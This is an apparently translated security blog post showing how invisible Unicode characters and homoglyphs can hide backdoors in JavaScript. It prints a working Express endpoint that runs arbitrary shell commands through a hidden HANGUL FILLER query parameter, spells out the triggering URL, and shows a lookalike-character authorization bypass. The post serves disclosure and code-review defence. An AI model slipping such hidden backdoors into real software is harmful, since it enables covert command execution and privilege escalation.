O backdoor invisivel do javascript
Há alguns meses, vimos um post sobre o subreddit r / programminghorror : Um desenvolvedor descreve a dificuldade de identificar um erro de sintaxe resultante de um caractere Unicode invisível escondido no código-fonte JavaScript.
Escrito por Wolfgang Ettlinger em
Esta postagem inspirou uma ideia: e se um backdoor literalmente não puder ser visto e, portanto, evite ser detectado até mesmo em análises completas de código?
Quando estávamos terminando esta postagem no blog, uma equipe da Universidade de Cambridge publicou um artigo descrevendo esse ataque. A abordagem deles, no entanto, é bem diferente da nossa – ela se concentra no mecanismo bidirecional Unicode (Bidi). Implementamos uma versão diferente do que o jornal intitula “ Ataques de personagens invisíveis ” e “ Ataques de homóglifos “.
Sem mais delongas, aqui está a porta dos fundos . Você pode identificá-lo?
const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);
const app = express();
app.get('/network_health', async (req, res) => {
const { timeout,ㅤ} = req.query;
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',ㅤ
];
try {
await Promise.all(checkCommands.map(cmd =>
cmd && exec(cmd, { timeout: +timeout || 5_000 })));
res.status(200);
res.send('ok');
} catch(e) {
res.status(500);
res.send('failed');
}
});
app.listen(8080);
Os implementos de script um exame de saúde da rede muito simples HTTP endpoint que executa ping -c 1 google.com
, bem como curl -s http://example.com
e retorna se esses comandos executados com sucesso. O parâmetro HTTP opcional timeout
limita o tempo de execução do comando.
A porta de trás
Nossa abordagem para criar a porta dos fundos foi, primeiro, encontrar um caractere Unicode invisível que pode ser interpretado como um identificador / variável em JavaScript. A partir da versão ECMAScript 2015, todos os caracteres Unicode com propriedade Unicode ID_Start
podem ser usados em identificadores (caracteres com propriedade ID_Continue
podem ser usados após o caractere inicial).
O caractere “ㅤ” (0x3164 em hexadecimal) é denominado “HANGUL FILLER” e pertence à categoria Unicode “Letra, outra” . Como esse caractere é considerado uma letra , ele tem a ID_Start
propriedade e pode, portanto, aparecer em uma variável JavaScript – perfeito!
Em seguida, uma maneira de usar esse personagem invisível despercebido teve que ser encontrada. O seguinte visualiza a abordagem escolhida, substituindo o caractere em questão por sua representação de sequência de escape :
const { timeout,\u3164} = req.query;
Uma atribuição de desestruturação é usada para desconstruir os parâmetros HTTP req.query
. Ao contrário do que pode ser visto , o parâmetro timeout
não é o único parâmetro extraído do req.query
atributo! Uma variável adicional / parâmetro HTTP chamado “ㅤ” é recuperado – se um parâmetro HTTP chamado “ㅤ” é passado, ele é atribuído à variável invisível ㅤ
.
Da mesma forma, quando a checkCommands
matriz é construída, esta variável ㅤ
é incluída na matriz:
const checkCommands = [
'ping -c 1 google.com',
'curl -s http://example.com/',\u3164
];
Cada elemento na matriz, os comandos codificados permanentemente, bem como o parâmetro fornecido pelo usuário, é então passado para a exec
função. Esta função executa comandos do sistema operacional. Para um invasor executar comandos arbitrários do sistema operacional, ele teria que passar um parâmetro denominado “ㅤ” (em sua forma codificada por URL) para o endpoint:
http://host:8080/network_health?%E3%85%A4=<any command>
Esta abordagem não pode ser detectada por meio do destaque de sintaxe, pois os caracteres invisíveis não são exibidos e, portanto, não são coloridos pelo IDE / editor de texto:
O ataque requer o IDE / editor de texto (e a fonte usada) para renderizar corretamente os caracteres invisíveis. Pelo menos o Notepad ++ e o VS Code o renderizam corretamente (no VS Code o caractere invisível é ligeiramente mais largo do que os caracteres ASCII). O script se comporta conforme descrito pelo menos com o Nó 14.
Abordagens de homoglifos
Além de caracteres invisíveis, também é possível introduzir backdoors usando caracteres Unicode que se parecem muito com, por exemplo, operadores:
const [ ENV_PROD, ENV_DEV ] = [ 'PRODUCTION', 'DEVELOPMENT'];
/* … */
const environment = 'PRODUCTION';
/* … */
function isUserAdmin(user) {
if(environmentǃ=ENV_PROD){
// bypass authZ checks in DEV
return true;
}
/* … */
return false;
}
O caractere “ǃ” usado não é um ponto de exclamação, mas um caractere “ CLIQUE ALVEOLAR ”. A linha a seguir, portanto, não compara a variável environment
à string, "PRODUCTION"
mas, em vez disso, atribui a string "PRODUCTION"
à variável previamente indefinida environmentǃ
:
if(environmentǃ=ENV_PROD){
Portanto, a expressão dentro da instrução if é sempre true
(testada com o Nó 14).
Existem muitos outros caracteres semelhantes aos usados no código que podem ser usados para tais propósitos (por exemplo, “/”, “-”, “+”, “⩵”, “❨”, “⫽”, “꓿” , “∗”). O Unicode chama esses caracteres de “confundíveis” .
Remover
Observe que mexer com o Unicode para ocultar códigos vulneráveis ou maliciosos não é uma ideia nova (também usando caracteres invisíveis ) e o Unicode inerentemente abre possibilidades adicionais para ofuscar o código . No entanto, acreditamos que esses truques são bem legais, e é por isso que queremos compartilhá-los.
O Unicode deve ser levado em consideração ao fazer revisões de código de contribuidores desconhecidos ou não confiáveis. Isso é especialmente interessante para projetos de código aberto, pois eles podem receber contribuições de desenvolvedores que são efetivamente anônimos.
A equipe de Cambridge propõe restringir caracteres Bidi Unicode. Como mostramos, ataques de homoglifos e personagens invisíveis também podem representar uma ameaça. Em nossa experiência, caracteres não ASCII são muito raros no código. Muitas equipes de desenvolvimento escolheram usar o inglês como o idioma de desenvolvimento principal (tanto para código quanto para strings dentro do código) para permitir a cooperação internacional (o ASCII cobre todos / a maioria dos caracteres usados no idioma inglês). A tradução para outros idiomas geralmente é feita por meio de arquivos dedicados. Quando revisamos o código do idioma alemão, vemos principalmente caracteres não-ASCII sendo substituídos por caracteres ASCII (por exemplo, ä → ae, ß → ss). Portanto, pode ser uma boa ideia proibir quaisquer caracteres não ASCII.